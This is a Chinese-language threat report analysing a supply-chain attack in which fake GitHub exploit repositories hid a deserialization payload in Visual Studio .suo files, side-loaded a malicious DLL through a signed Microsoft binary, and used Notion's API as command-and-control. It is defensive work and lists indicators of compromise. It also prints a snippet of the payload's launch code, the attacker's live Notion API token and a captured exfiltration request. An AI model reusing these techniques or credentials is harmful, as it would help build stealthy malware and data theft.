1. 执行摘要#
近期发现 GitHub 用户 0xjiefeng 针对网络安全人员发起了供应链投毒攻击 。攻击者利用伪造的漏洞利用工具(如 CVE-2024-35250-BOF、BOF-BypassUAC 等)构建 Visual Studio 项目模板诱导受害者下载 。相关仓库现已被封禁 。
攻击者摒弃了常规的 EXE 捆绑,而是将恶意反序列化数据藏匿于 .suo (解决方案用户选项) 文件的 VsToolboxService 数据流中 。载荷利用“白加黑”技术启动后,利用了国外笔记平台 Notion 的 API 作为 C2 (命令与控制) 基础设施,极大地增加了流量检测的难度 。
2. 完整攻击链路#
初始访问:受害者克隆恶意仓库并使用 Visual Studio 打开项目 。
投毒者:https://github.com/0xjiefeng
其下的多个repo使用类似Visual Studio 项目模板
https://github.com/0xjiefeng/CVE-2024-35250-BOF
https://github.com/0xjiefeng/BOF-BypassUAC
https://github.com/0xjiefeng/SspiUacBypass-BOF代码执行:VS 加载 VSPackage 时,触发 BinaryFormatter 对 .suo 文件中恶意数据的反序列化,执行 Base64 加密的 Payload 。
**持久化 **:Payload 释放恶意文件至 %LocalAppData% 目录,并写入 Registry.CurrentUser 注册表实现自启动 。
防御规避:利用带有微软数字签名的正常程序 TraceIndexer.exe 侧载 (Side-loading) 恶意 TTDReplay.dll(白加黑) 。后续甚至涉及系统 DLL 镂空技术 。
命令与控制 (C2):收集系统进程信息,通过 HTTP PATCH 请求将数据回传至 Notion 工作区 。
3. 关键技术细节剖析#
突破口:利用 .suo 文件进行反序列化攻击#
-
传统的源码后门多见于
.csproj的构建任务,而本次攻击利用了隐蔽性更高的.suo文件。 -
通过 Structured Storage Viewer 提取分析,在
VsToolboxService流中发现了恶意的序列化数据 。
-
触发机制:当 VS 加载包含该流的项目时,会调用
BinaryFormatter。若对象中包含可执行代码,反序列化过程即成为 RCE(远程代码执行)的温床 。
权限维持与“白加黑”侧载#
-
载荷释放:初始 Payload 经过解密后,确认为一个 32 位的 .NET 程序 (Microsoft Linker 11.0) 。它会在本地释放两个关键文件 。


File: TraceIndexer.exe SHA1: ae3c0a7edb6fb07900f4cb59f6da10fbdc1f0251
File: TTDReplay.dll SHA1: f9247ea23e34160f1f9d4229d8b1448d40e2c255
Process.Start(Path.Combine(text, Encoding.UTF8.GetString(Convert.FromBase64String("VHJhY2VJbmRleGVyLmV4ZQ=="))), Encoding.UTF8.GetString(Convert.FromBase64String("dHRkLnRtcA==")));进程启动TraceIndexer.exe 参数ttd.tmp -
白加黑利用:
-
白文件:
TraceIndexer.exe,带有正常的 Microsoft Corporation 签名 。
-
黑文件:
TTDReplay.dll。
-
执行方式:通过传入参数
ttd.tmp启动白文件,利用程序的加载机制加载恶意 DLL 。恶意 DLL 中伪造了CreateReplayEngineWithHandshake等导出函数以配合白程序的调用 。
-
-
注册表劫持:将启动命令写入注册表,实现无文件特征的驻留 。
滥用信任:Notion API 变身 C2 隧道#
-
攻击者利用合法的 Notion API (
api.notion.com) 接收数据,完美规避了基于黑名单的域名拦截 。 -
通信数据包分析:

-
认证:使用硬编码的 Bearer Token (
ntn_2546...) 进行 Notion 鉴权 。
-
操作接口:发送 HTTP
PATCH请求更新特定的 Block UUID (1915edab-ab70-819e-9dc6-dd552369598e) 。
-
数据回传:回传数据被伪装成一段 Notion 的代码块 (Code Block) 。解码其 JSON Payload 中的 Base64 发现,内容为受害者本机的系统进程列表(如
smss.exe,csrss.exe,lsass.exe等),这通常是攻击者进行环境探测的第一步 。#请求体{"children": [{"code": {"language": "plain text","text": [{"annotations": {"code": false},"text": {"content": "2025-02-05 13:43:10 | W1N5c3RlbSBQcm9jZXNzXQkwCTAKU3lzdGVtCTQJMApSZWdpc3RyeQk4OAk0CnNtc3MuZXhlCTM0NAk0CmNzcnNzLmV4ZQk0MjQJNDEyCndpbmluaXQuZXhlCTQ5Ngk0MTIKY3Nyc3MuZXhlCTUxMgk0ODgKc2VydmljZXMuZXhlCTU4OAk0OTYKd2lubG9nb24uZXhlCTU5Ngk0ODgKbHNhc3MuZXhlCTYzNgk0OTYKc3ZjaG9zdC5leGUJNzQwCTU4OApmb250ZHJ2aG9zdC5leGUJNzcyCTQ5Ngpmb250ZHJ2aG9zdC5leGUJNzgwCTU5NgpzdmNob3N0LmV4ZQk4NzIJNTg4CmR3bS5leGUJOTUyCTU5NgpzdmNob3N0LmV4ZQkxMDEyCTU4OApzdmNob3N0LmV4ZQkzNjQJNTg4CnN2Y2hvc3QuZXhlCTY2OAk1ODgKc3ZjaG9zdC5leGUJMTA4NAk1ODgKdm1hY3RobHAuZXhlCTExMTIJNTg4CkhpcHNEYWVtb24uZXhlCTExMjAJNTg4CnN2Y2hvc3QuZXhlCTEyMDQJNTg4CnN2Y2hvc3QuZXhlCTEyODAJNTg4CnN2Y2hvc3QuZXhlCTE0ODAJNTg4CnN2Y2hvc3QuZXhlCTE2MDgJNTg4Ck1lbW9yeSBDb21wcmVzc2lvbgkxNzUyCTQKc3ZjaG9zdC5leGUJMTgxMgk1ODgKc3ZjaG9zdC5leGUJMTg0NAk1ODgKc3ZjaG9zdC5leGUJMTg1Ngk1ODgKc3Bvb2xzdi5leGUJMTkwMAk1ODgKc3ZjaG9zdC5leGUJMTk0NAk1ODgKdXN5c2RpYWcuZXhlCTMyOAkxMTIwCndzY3RybHN2Yy5leGUJMjA4OAk1ODgKc3ZjaG9zdC5leGUJMjEyMAk1ODgKc3ZjaG9zdC5leGUJMjI0OAk1ODgKc3ZjaG9zdC5leGUJMjMwMAk1ODgKUVFQcm90ZWN0LmV4ZQkyMzA4CTU4OApWR0F1dGhTZXJ2aWNlLmV4ZQkyMzQ0CTU4OAp2bXRvb2xzZC5leGUJMjM2NAk1ODgKV21pUHJ2U0UuZXhlCTMwMjgJNzQwCm1zZHRjLmV4ZQkyMzM2CTU4OApzaWhvc3QuZXhlCTM1MDAJMTAxMgpzdmNob3N0LmV4ZQkzNTIwCTU4OAp0YXNraG9zdHcuZXhlCTM2MTYJMTAxMgpjdGZtb24uZXhlCTM3ODQJMzY0CkNoc0lNRS5leGUJNDA2OAk3NDAKc3ZjaG9zdC5leGUJNDIzMgk1ODgKU2VhcmNoSW5kZXhlci5leGUJNDQ3Mgk1ODgKUnVudGltZUJyb2tlci5leGUJNDcyOAk3NDAKUnVudGltZUJyb2tlci5leGUJNDkzMgk3NDAKQXBwbGljYXRpb25GcmFtZUhvc3QuZXhlCTUxMTIJNzQwClJ1bnRpbWVCcm9rZXIuZXhlCTU0NjQJNzQwClJ1bnRpbWVCcm9rZXIuZXhlCTQ1MTIJNzQwClJ1bnRpbWVCcm9rZXIuZXhlCTM1OTIJNzQwClNlY3VyaXR5SGVhbHRoU3lzdHJheS5leGUJNjE4MAkzOTk2ClNlY3VyaXR5SGVhbHRoU2VydmljZS5leGUJNjIwOAk1ODgKdm10b29sc2QuZXhlCTYzMzYJMzk5NgpIaXBzVHJheS5leGUJNjQ4MAkxMTIwCnN2Y2hvc3QuZXhlCTQxMzIJNTg4ClNncm1Ccm9rZXIuZXhlCTMxOTIJNTg4ClN2Y2hvc3QuZXhlCTQ3MzYJNTg4ClFRTGl2ZVNlcnZpY2UuZXhlCTY4NDQJMjMwMApzdmNob3N0LmV4ZQk1MjI0CTU4OApzdmNob3N0LmV4ZQkxMzA0CTU4OApzbWFydHNjcmVlbi5leGUJMzM2MAk3NDA="}}]},"object": "block","type": "code"}]}
-
4. 威胁情报 (IOCs)#
-
恶意样本 (SHA1):
TraceIndexer.exe:ae3c0a7edb6fb07900f4cb59f6da10fbdc1f0251TTDReplay.dll:f9247ea23e34160f1f9d4229d8b1448d40e2c255
-
恶意 C2/通信节点:
- Host:
api.notion.com - Notion API Token:
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
- Host:
-
恶意开发者/仓库:
-
GitHub ID:
0xjiefeng -
涉及仓库(已失效):
CVE-2024-35250-BOF,BOF-BypassUAC,SspiUacBypass-BOF
-